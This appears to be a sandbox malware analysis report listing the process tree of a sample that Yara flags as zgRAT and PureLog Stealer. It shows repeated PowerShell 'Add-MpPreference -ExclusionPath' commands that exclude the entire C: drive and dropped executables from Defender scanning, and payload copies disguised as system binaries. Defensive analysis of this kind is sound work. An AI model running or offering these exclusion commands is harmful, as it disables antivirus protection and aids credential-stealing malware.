Imagebase:	0x7ff6647f0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:12:32
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:12:32
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:12:32
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	11:12:32
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	11:12:32
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\apppatch\CustomSDB\sihost.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\RuntimeBroker.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	60
Start time:	11:12:33
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	61
Start time:	11:12:35
Start date:	08/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\KDhudFNWvk.bat"
Imagebase:	0x7ff6a3890000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	11:12:35
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	11:12:35
Start date:	08/01/2025
Path:	C:\Program Files\Everything\Everything.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Everything\Everything.exe" -startup
Imagebase:	0xe30000
File size:	4'608 bytes
MD5 hash:	0E5995C0475E4E57F7A6B3FA6E790ABD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	11:12:38
Start date:	08/01/2025
Path:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Imagebase:	0xf20000
File size:	2'025'984 bytes
MD5 hash:	77967721CE1C8B3F0EB800BD33527897
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	65
Start time:	11:12:38
Start date:	08/01/2025
Path:	C:\Program Files\Everything\Everything.exe.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Everything\Everything.exe.exe" -startup
Imagebase:	0x7ff728bb0000
File size:	2'265'096 bytes
MD5 hash:	0170601E27117E9639851A969240B959
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	11:12:38
Start date:	08/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff622770000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	11:12:43
Start date:	08/01/2025
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff6c8f90000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	11:12:47
Start date:	08/01/2025
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Imagebase:	0xb50000
File size:	2'025'984 bytes
MD5 hash:	77967721CE1C8B3F0EB800BD33527897
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	11:12:52
Start date:	08/01/2025
Path:	C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Imagebase:	0x2b0000
File size:	2'025'984 bytes
MD5 hash:	77967721CE1C8B3F0EB800BD33527897
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	11:12:56
Start date:	08/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	72
Start time:	11:12:56
Start date:	08/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	73
Start time:	11:13:02
Start date:	08/01/2025
Path:	C:\Windows\apppatch\CustomSDB\sihost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\apppatch\CustomSDB\sihost.exe"
Imagebase:	0xfe0000
File size:	2'025'984 bytes
MD5 hash:	77967721CE1C8B3F0EB800BD33527897
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\apppatch\CustomSDB\sihost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\apppatch\CustomSDB\sihost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\apppatch\CustomSDB\sihost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\apppatch\CustomSDB\sihost.exe, Author: Joe Security
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	11:13:21
Start date:	08/01/2025
Path:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe"
Imagebase:	0xd80000
File size:	2'025'984 bytes
MD5 hash:	77967721CE1C8B3F0EB800BD33527897
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	11:13:29
Start date:	08/01/2025
Path:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Imagebase:	0x480000
File size:	2'025'984 bytes
MD5 hash:	77967721CE1C8B3F0EB800BD33527897
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	11:13:38
Start date:	08/01/2025
Path:	C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Imagebase:	0xab0000
File size:	2'025'984 bytes
MD5 hash:	77967721CE1C8B3F0EB800BD33527897
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	11:13:46
Start date:	08/01/2025
Path:	C:\Windows\apppatch\CustomSDB\sihost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\apppatch\CustomSDB\sihost.exe"
Imagebase:	0xe50000
File size:	2'025'984 bytes
MD5 hash:	77967721CE1C8B3F0EB800BD33527897
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	11:14:03
Start date:	08/01/2025
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Imagebase:	0x900000
File size:	2'025'984 bytes
MD5 hash:	77967721CE1C8B3F0EB800BD33527897
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FF848F8000A Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2062010918.00007FF848F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f80000_wxl1r0lntg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f22e9abb4195ae8ed5872303c1f42b24df5a2bac9de1220b8cd6266a9ab22a1
Instruction ID: 8cdba847b150fb4c388e35798fad8d7b376b5d7f626e69450e78387ab2d5b117
Opcode Fuzzy Hash: 8f22e9abb4195ae8ed5872303c1f42b24df5a2bac9de1220b8cd6266a9ab22a1
Instruction Fuzzy Hash: AFA17161A1EBC84FE747A73858655787BA1EF97640F8900F7E489CB2E3DE285C05C326

Analysis Process: sqls211.exePID: 1084, Parent PID: 6156COMMON

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.5%
Total number of Nodes:	1502
Total number of Limit Nodes:	40

Executed Functions

Function 00CDDF1E Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 195
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CD0863: GetModuleHandleW.KERNEL32(kernel32), ref: 00CD087C
Part of subcall function 00CD0863: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00CD088E
Part of subcall function 00CD0863: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00CD08BF

Part of subcall function 00CDA64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00CDA655

Part of subcall function 00CDAC16: OleInitialize.OLE32(00000000), ref: 00CDAC2F
Part of subcall function 00CDAC16: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00CDAC66
Part of subcall function 00CDAC16: SHGetMalloc.SHELL32(00D08438), ref: 00CDAC70

GetCommandLineW.KERNEL32 ref: 00CDDF5C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00CDDF83
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00CDDF94
UnmapViewOfFile.KERNEL32(00000000), ref: 00CDDFCE

Part of subcall function 00CDDBDE: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00CDDBF4
Part of subcall function 00CDDBDE: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00CDDC30

CloseHandle.KERNEL32(00000000), ref: 00CDDFD7
GetModuleFileNameW.KERNEL32(00000000,00D1EC90,00000800), ref: 00CDDFF2
SetEnvironmentVariableW.KERNEL32(sfxname,00D1EC90), ref: 00CDDFFE
GetLocalTime.KERNEL32(?), ref: 00CDE009
_swprintf.LIBCMT ref: 00CDE048
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00CDE05A
